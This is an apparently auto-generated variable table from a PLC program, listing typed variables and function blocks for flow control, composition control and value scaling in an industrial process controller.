+0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; 